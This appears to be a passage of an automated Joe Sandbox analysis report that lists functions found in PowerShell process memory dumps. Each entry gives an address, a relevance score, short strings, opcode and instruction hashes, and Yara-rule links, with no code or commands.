Instruction Fuzzy Hash: 27225F34B002149FCB25DB64C964BAEB7F6BF89305F1444A9D40AAB3A5CB35DE85CF81

Function 07314E08 Relevance: 4.0, Strings: 3, Instructions: 269COMMON

Download Yara Rule

Strings

4'jq, xrefs: 07314F52
4'jq, xrefs: 07315136
4'jq, xrefs: 073150B7

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq
API String ID: 0-3078559419
Opcode ID: cb72ebbbdf442d4010f9ba660c317fcc10b72765a53c9b88704f0baee32cb061
Instruction ID: fc3aae8cd994baa87e1a024161657271b8d688db8e4f106285462345a9ad6739
Opcode Fuzzy Hash: cb72ebbbdf442d4010f9ba660c317fcc10b72765a53c9b88704f0baee32cb061
Instruction Fuzzy Hash: 4CB1B2B4A002059FDB18CF54C551BAEBBB2EF89304F15C469D8096F395CB76EC46CBA2

Function 07310148 Relevance: 3.9, Strings: 3, Instructions: 172COMMON

Download Yara Rule

Strings

$jq, xrefs: 073101BF
$jq, xrefs: 0731019B
$jq, xrefs: 073101CB

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq
API String ID: 0-3696375380
Opcode ID: 849a39fe00027f4252b04f56f9f9d075cad3651786bc393c7c29f1b888c004dd
Instruction ID: 2a2c3fb0659c83c995817b4e9dc582a1e6e558b771d3e86b4938d3c61cd01865
Opcode Fuzzy Hash: 849a39fe00027f4252b04f56f9f9d075cad3651786bc393c7c29f1b888c004dd
Instruction Fuzzy Hash: CA513AB570430A9FE72C9A69C80076BBBA6EFC6310F14C4BBD54DDB681DA35C981C7A1

Function 0731B591 Relevance: 2.9, Strings: 2, Instructions: 397COMMON

Download Yara Rule

Strings

4'jq, xrefs: 0731B86A
4'jq, xrefs: 0731B880

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 573ca568276a3d693511bdb617b682a6d42a4496625801cd17aae35eb1d3586c
Instruction ID: 4c0a0ebcb6a8be91fbd9e893acb7f11ac5e0c012a218312944c70d5b4c2aa368
Opcode Fuzzy Hash: 573ca568276a3d693511bdb617b682a6d42a4496625801cd17aae35eb1d3586c
Instruction Fuzzy Hash: 0E024EB4A402199FD724DB24C990BAEBBB2EF84304F1081E5D94D6F795CB719E81CF92

Function 07315A83 Relevance: 2.9, Strings: 2, Instructions: 387COMMON

Download Yara Rule

Strings

4'jq, xrefs: 07315CEE
4'jq, xrefs: 07315CFA

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 809755ee576ca45e79aef34127ec18158588cf880d613dca728b90522a67335e
Instruction ID: 760f53833a97c338922179f1b6eb87b92011184df563505fa740862191b6d936
Opcode Fuzzy Hash: 809755ee576ca45e79aef34127ec18158588cf880d613dca728b90522a67335e
Instruction Fuzzy Hash: ACF1A0B4B00215DFEB28DB68C951F6EBBA6AF84304F10C4A5E4096F7A5CB71DD41CB92

Function 0731A880 Relevance: 2.9, Strings: 2, Instructions: 363COMMON

Download Yara Rule

Strings

4'jq, xrefs: 0731AADE
4'jq, xrefs: 0731AAEA

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 39ce998c0d759f34782c7613a6847461980cc81bd3225ce17d0028a76c7e68e1
Instruction ID: 0f152a88b6712b157cbec3569cea5b54547840a3cf3933030901528847588e40
Opcode Fuzzy Hash: 39ce998c0d759f34782c7613a6847461980cc81bd3225ce17d0028a76c7e68e1
Instruction Fuzzy Hash: 9CE1B4B0B402149FD714EB28C955BAEBBA2EF84304F10C5A9D9096F395CF75DD818F92

Function 07312064 Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

tPjq, xrefs: 0731221E
84l, xrefs: 073121C3

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 84l$tPjq
API String ID: 0-2912020916
Opcode ID: 9b12ec1914d77652d5dc5ac4e1fff9fa48f15b9e5d47475fd8f539cb24ebb30e
Instruction ID: 726abe40ce4a7a32a0f338b2549a819d94d67305db90510278366bdb0c320ea4
Opcode Fuzzy Hash: 9b12ec1914d77652d5dc5ac4e1fff9fa48f15b9e5d47475fd8f539cb24ebb30e
Instruction Fuzzy Hash: E851B0B07493C59FD7168B648C24A56BFB1BF87204F1AC0EBD5488F1A3C6769C46C762

Function 0731D0A5 Relevance: 2.6, Strings: 2, Instructions: 125COMMON

Download Yara Rule

Strings

4'jq, xrefs: 0731D19A
4'jq, xrefs: 0731D1A6

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: caeb0e4bb42d1247806ea288c330610cb6b8823e1e727c984285be6b7788fde9
Instruction ID: 340922aa8efc55627e5321fb197a6e8317dc7b7a795f6bfe3ac589cf53eb3018
Opcode Fuzzy Hash: caeb0e4bb42d1247806ea288c330610cb6b8823e1e727c984285be6b7788fde9
Instruction Fuzzy Hash: 6D316AF17603129BEB6C5678981037EB796AFC3210F10847AC50ADF685EF7AC842C792

Function 07310128 Relevance: 2.6, Strings: 2, Instructions: 63COMMON

Download Yara Rule

Strings

$jq, xrefs: 073101BF
$jq, xrefs: 0731019B

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: $jq$$jq
API String ID: 0-3720491408
Opcode ID: 7fbc47ed89d4d8a5979cf5c2657af94b37b42bfd52822c32e2d7a667d4a1a362
Instruction ID: 3e4d6dbdee584f71c29e673e51a4c67efab0b37af8bfd2b2c60b3d3a77374ad5
Opcode Fuzzy Hash: 7fbc47ed89d4d8a5979cf5c2657af94b37b42bfd52822c32e2d7a667d4a1a362
Instruction Fuzzy Hash: A211E9B590534ADFE71D8F54C9006A6BFB1AF42610F1640BBD85CDB142E739C9C0CBA1

Function 02DA3A98 Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84e8288120f91160e95915012c9f7d29b286565761318f88dced05c77bb2012a
Instruction ID: 02d0e1a234e48aded918326170fc41fae23d436db90ec4b6d295cc056d69a739
Opcode Fuzzy Hash: 84e8288120f91160e95915012c9f7d29b286565761318f88dced05c77bb2012a
Instruction Fuzzy Hash: 23522674A01209DFCB55CFA8D594A9EFBB2FF88310F248199E805AB365C771ED85CB90

Function 07313D90 Relevance: .6, Instructions: 568COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6a60a159d4f99dc03aaa596eb80c3621ee94634a32ecebdb6edd7433e65b297
Instruction ID: 77d3505f2b3fd8907615546368dfddd3dad0a52ef18a7b1460dafb7c4328cd4f
Opcode Fuzzy Hash: f6a60a159d4f99dc03aaa596eb80c3621ee94634a32ecebdb6edd7433e65b297
Instruction Fuzzy Hash: E9322AB4B10215DFD718CB98C551BAABBB2EF89314F15C069E809AF355CB72EC41CB92

Function 07314269 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5e92ecc16f1917e20eaa7c8c913e46161384ef84d20fc67f34f43f7489a8842
Instruction ID: 396d07c4b68e051625883ce7bf999ef7be0a1d5888e5b1133c0bb920939f9f0e
Opcode Fuzzy Hash: d5e92ecc16f1917e20eaa7c8c913e46161384ef84d20fc67f34f43f7489a8842
Instruction Fuzzy Hash: E0122AB4A10215DFE718CB98C551BAABBB2FF88714F15C069E809AF355CB72EC41CB91

Function 02DA3270 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77713a4cf522283d26b26602300740e213fdcefdb5544cd6a3d51d2e132e140c
Instruction ID: 294a7c7e48d35b21926643fde4683ef3bc271688a5fbc081b30ec648d102951c
Opcode Fuzzy Hash: 77713a4cf522283d26b26602300740e213fdcefdb5544cd6a3d51d2e132e140c
Instruction Fuzzy Hash: F0D10574A002199FDB45CF98D594E9DFBB2FF88314F288199E805AB365C731ED86CB90

Function 02DA9CC0 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd83e4e5a7a03a737dfaadf92dfd0440648624729d8b0d3ff6edc330e1587805
Instruction ID: f25f504284127502f27d0a9263bc70c0b63267b7d7f861aaa0533df56b903280
Opcode Fuzzy Hash: dd83e4e5a7a03a737dfaadf92dfd0440648624729d8b0d3ff6edc330e1587805
Instruction Fuzzy Hash: DBC18031A002489FCB14DFA4D9A4E9DBBF6FF85354F154259E4069B365CB38ED89CB80

Function 07313988 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f84a909c808dc852d2ddc14bfce1ce96814154db93de240797d57770ccb18fc
Instruction ID: 7e89bb0193cc391f7013f9723e53d08bafef9530a292c39a1a50ae48d2f74b56
Opcode Fuzzy Hash: 2f84a909c808dc852d2ddc14bfce1ce96814154db93de240797d57770ccb18fc
Instruction Fuzzy Hash: 15B18DF0B402049BDB18DB68C551BAEBBF6AF89304F14C469D8096F795CB36DC45CBA2

Function 02DA2AA0 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50a860e3df34e84b538a2ecde66f5d684da57b3862c9e57dadb3519c6c90bb5e
Instruction ID: 94667f504641235c72467da3f88785b0b54a990d7e3f9026904b44798dd7a5c7
Opcode Fuzzy Hash: 50a860e3df34e84b538a2ecde66f5d684da57b3862c9e57dadb3519c6c90bb5e
Instruction Fuzzy Hash: 95A18E74A006058FCB05CF59C994DBEFBB2FF88314B24866AD855AB365C731ED51CB90

Function 0731397F Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bd6c441e9911496be74897fe8ebb1cec5613b2cb6bd9c8d0adb1de98cd1aa67
Instruction ID: e829ae4cd05013f5bc61977b6c84e8f16e7fdcf61b9a8a32ec1ca9d686f295e8
Opcode Fuzzy Hash: 7bd6c441e9911496be74897fe8ebb1cec5613b2cb6bd9c8d0adb1de98cd1aa67
Instruction Fuzzy Hash: C2915DF0B002059BDB18DB55C581BAEBBF2AF88304F14C469E4096F795CB76EC45CB92

Function 07313934 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cdd63317ac47603abb294bfcc422ddc9cd15829c18c70db742600a0ab3f9841
Instruction ID: ec715aa9c343e02396c7cd8be03ad2954ec4457ec23462a1c77fb7d05a1a215d
Opcode Fuzzy Hash: 1cdd63317ac47603abb294bfcc422ddc9cd15829c18c70db742600a0ab3f9841
Instruction Fuzzy Hash: 60916CF0B00201EBEB18DB55C591BAEBBB2AF84304F14C469E4096F795CB36EC45CB92

Function 0731D3E8 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6082f41e50a860482e1a236024e8a26e0ef7bf49b6c45556ae53dcacfdb9c9b
Instruction ID: 2501d087ed44af60d0618fed59ec7ff2904c187d540d80e657bd6e28d9e03a77
Opcode Fuzzy Hash: e6082f41e50a860482e1a236024e8a26e0ef7bf49b6c45556ae53dcacfdb9c9b
Instruction Fuzzy Hash: 37916DB4B202049FD718CB58C550AAEBBF2EF8A314F14C469D809AF355CB36DC41CBA1

Function 0731D3DF Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f68a08b1aee932ad80eb59db39bf43fc454b22e190af1c22e4594f74eaf51120
Instruction ID: f3b3d0b8c81aa6fee73ae319bfdccae585dfe068ea9eb1d8dfda434263d911e7
Opcode Fuzzy Hash: f68a08b1aee932ad80eb59db39bf43fc454b22e190af1c22e4594f74eaf51120
Instruction Fuzzy Hash: AF812CB4B20205DFDB18CF54C550AAABBF2EF8A314F15C569D809AB755CB32E841CB61

Function 02DA9520 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 375d8366327f5f3af145114dd7cbf590e582bb18e27b8248b0767ca3839dc56e
Instruction ID: 8f55c9395e4b633b8d19e4257582c0d30686db57c16196f90d23a2533dbb9d22
Opcode Fuzzy Hash: 375d8366327f5f3af145114dd7cbf590e582bb18e27b8248b0767ca3839dc56e
Instruction Fuzzy Hash: F271AD34A012449FCB15DFA8C4A4DAEBBF2BF89254F1884A9E4459B362D735EC85CB10

Function 02DAA488 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ee954dcc644444b86f7911b2e555aee1bf8982ae8a317f0fefdbac1c4bd1270
Instruction ID: 74e9aeb275f5f8f73bd70e46bead5b424926aa011f126e1a156f51f2ac555404
Opcode Fuzzy Hash: 5ee954dcc644444b86f7911b2e555aee1bf8982ae8a317f0fefdbac1c4bd1270
Instruction Fuzzy Hash: 1F719C31A002498FCB14DFA8C894A9EBBF6FF85314F14862AD415DB7A1DB75EC46CB90

Function 02DAA5F6 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e35b189ecd63089913989b6e0a2ddd258e1b84a75f17fff4d32b606e4fb5dfa
Instruction ID: 5c0f63a523ec9db13a73782a799c7a1498d6f76da6bf21d1f2aa11a74acdb77f
Opcode Fuzzy Hash: 5e35b189ecd63089913989b6e0a2ddd258e1b84a75f17fff4d32b606e4fb5dfa
Instruction Fuzzy Hash: 3E714D30A002489FDB15DFB4D594BAEBBF6BF88304F148529E412AB7A0DB75ED46CB50

Function 02DABB87 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f30c8b8e60af36106e3ce70e97260f3fea71ddcd4dc3f5c1505dfe3c361da7b
Instruction ID: 81616bc56ee9022d9b6d398b932754f845e0c8fc98d172e73db98d4cdcdbb15c
Opcode Fuzzy Hash: 6f30c8b8e60af36106e3ce70e97260f3fea71ddcd4dc3f5c1505dfe3c361da7b
Instruction Fuzzy Hash: 7C411835A01248AFCB04CF98E494E9DFBB1FF99324F14815AE845AB356C731ED82CB90

Function 0731F2EC Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0023c7c21ae6e101d7d5972c062f070d3da81fc1b8da364d379927d2eab5429
Instruction ID: dd925df6457c2751a2cca3437e8c165bafb262c820eb6e904d4ae1a7981f4d76
Opcode Fuzzy Hash: f0023c7c21ae6e101d7d5972c062f070d3da81fc1b8da364d379927d2eab5429
Instruction Fuzzy Hash: 86412AF0B02313DFEB188E688541B7A7BB6AF90214F0588B6D90DCF655DB36C841C7A2

Function 02DAA219 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d127edce08dec5e023d1a2bed51f685c79362a51256b49c8dc404f6606e08862
Instruction ID: 7a231fa4448c9fa7af5b0168a094a877595ee1aec836a39c1af4581c85be9888
Opcode Fuzzy Hash: d127edce08dec5e023d1a2bed51f685c79362a51256b49c8dc404f6606e08862
Instruction Fuzzy Hash: E5419231600244DFDB14DFA4D998EAE7BF2EF89350F184569E806EB7A0CB759C82CB50

Function 02DAA473 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d3319cc611330f7ab3a1441c27070058f2288f49706058044fe321a03d6f01a
Instruction ID: cbc83c522ac59c75105c5bafc26200b93f1e0678f0d09e143fdf9c19632c3c7b
Opcode Fuzzy Hash: 7d3319cc611330f7ab3a1441c27070058f2288f49706058044fe321a03d6f01a
Instruction Fuzzy Hash: 60419031A00248CFDB18DFA4D894BAEBBF2BF85344F148529D006AB7A4DBB59C85CF40

Function 02DA4187 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6448b3c339d20ff4442d2ec8842992b76ce66da153c7e52c327816d1f78976c0
Instruction ID: 44896ec1101bb52319fbd4d275c557ec2a2ae1aa726817b623c0240d31711caf
Opcode Fuzzy Hash: 6448b3c339d20ff4442d2ec8842992b76ce66da153c7e52c327816d1f78976c0
Instruction Fuzzy Hash: 2A51F774A00209AFDB05CFA8D594A9DFBB6FF88314F248558E805AB365C775ED82CB90

Function 0731524E Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af5fa19f6155e064040fdd995e4a33154e0fbf386eafa241f9e7441b7b43d0cf
Instruction ID: 1815dfb0dada00ec8f70a00fef53510d1b53cee16bbc7ced3fb7d0c0069e7841
Opcode Fuzzy Hash: af5fa19f6155e064040fdd995e4a33154e0fbf386eafa241f9e7441b7b43d0cf
Instruction Fuzzy Hash: 6C3195B0740204AFDB149764CA51BAF7AA3EFC5304F55C424E9056F795CFB69C418BE2

Function 02DADC20 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28d34e76b6898d3b83dbdcc04003b79c71693c8dd4c3d1182ec94dcb69b08c7c
Instruction ID: 1164987f1f244492a67868f9bf7ba955085c7310656a8b0120ce2a413dcef02a
Opcode Fuzzy Hash: 28d34e76b6898d3b83dbdcc04003b79c71693c8dd4c3d1182ec94dcb69b08c7c
Instruction Fuzzy Hash: B1313D30A051188FCB26DB64C955BEEB7F6BF4A309F1044E9D40AAB351CB759E81CF81

Function 02DA3E71 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 531368cfd223575f1eeb91346725b8be40f30875c5447847eeed5a0cc5aed0a0
Instruction ID: 09e8cd1b5e1ff0205aefc2918e7c22822c24a491313a323af3939c3e70bc4b41
Opcode Fuzzy Hash: 531368cfd223575f1eeb91346725b8be40f30875c5447847eeed5a0cc5aed0a0
Instruction Fuzzy Hash: 86313A74A00205DFCB54CF98C590AAEFBB2FF48310B258299E419AB795C331ED91CB90

Function 02DA3A6C Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dabe08e4fe9e0acdaa8fdcb8de4fb318da8cbbd5b346c844174b256e283973e
Instruction ID: 587c0dabccf270d5d943f699e900aa027135878b75b38762daa965cb3ce80e9c
Opcode Fuzzy Hash: 8dabe08e4fe9e0acdaa8fdcb8de4fb318da8cbbd5b346c844174b256e283973e
Instruction Fuzzy Hash: A821C174A042099FCB01CFA8D9919AAFFB1FF4A310B054196E445EB352C731ED41CBA1

Function 02DA324A Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc656b8d77dfacc3e761d5780e0663dca3b28180ddb1e20fb59cb2c03e29510e
Instruction ID: 09077905b546aaf304146ec3e6deef90571e711bd4c5c43635ecd9d6bfbb3563
Opcode Fuzzy Hash: dc656b8d77dfacc3e761d5780e0663dca3b28180ddb1e20fb59cb2c03e29510e
Instruction Fuzzy Hash: 76212A74A042059FCB00CF99C9909AEFBB1FF49310B25819AD849E7761C735EC51CBA0

Function 02DA3E80 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22cd3accdcbf1b03620707228e62d5d085b786564e2153a89d8239e0b6107577
Instruction ID: ef25974f2f17a19433197aceae7974720f9dc72fe48c6ef3f612703488fa3fcc
Opcode Fuzzy Hash: 22cd3accdcbf1b03620707228e62d5d085b786564e2153a89d8239e0b6107577
Instruction Fuzzy Hash: E4310874A00609DFCB54CF89C590AAAF7F2FF48310B248699E919A7795C731ED91CB90

Function 02DA4294 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a6434b9ac1993aab43da2ba593cc26021b43777092f76b3f38b109b7347010
Instruction ID: 095ece786e85201cb05b6b9a04de44a26e6b78f526bb93c1edd25d9f6bef58b1
Opcode Fuzzy Hash: 51a6434b9ac1993aab43da2ba593cc26021b43777092f76b3f38b109b7347010
Instruction Fuzzy Hash: 5711C634A05209EFDB05DFA8D494E9DBBB2FF88314F288558E405AB365C771ED86CB40

Function 00AAD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537130801.0000000000AAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db6588c2db96c095cc0048ff9163fea004da5bfd6cb690b55f258cdb90198ba7
Instruction ID: 8c552659e099e35f4ff36384a83e6a4ba1b7a3b7e5bddb4579ef81446703929c
Opcode Fuzzy Hash: db6588c2db96c095cc0048ff9163fea004da5bfd6cb690b55f258cdb90198ba7
Instruction Fuzzy Hash: 3A01F7710043409AE7208B25CD84B67FF98EF47720F18C429ED8B1B686C3799841C6B1

Function 00AAD01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537130801.0000000000AAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fc56e369c38b1b2eaffb9a089e8d40706fe73cbdc9f0c113d0b8e11ab050030
Instruction ID: 28c7b2673222d61228196f8479eb009a9f337cdc9a48f6f451f40e5e3e6cedba
Opcode Fuzzy Hash: 4fc56e369c38b1b2eaffb9a089e8d40706fe73cbdc9f0c113d0b8e11ab050030
Instruction Fuzzy Hash: 77F0C271004344AEE7108F16CC84B66FF98EF56734F18C55AED891B686C3799840CAB1

Function 02DABB2F Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

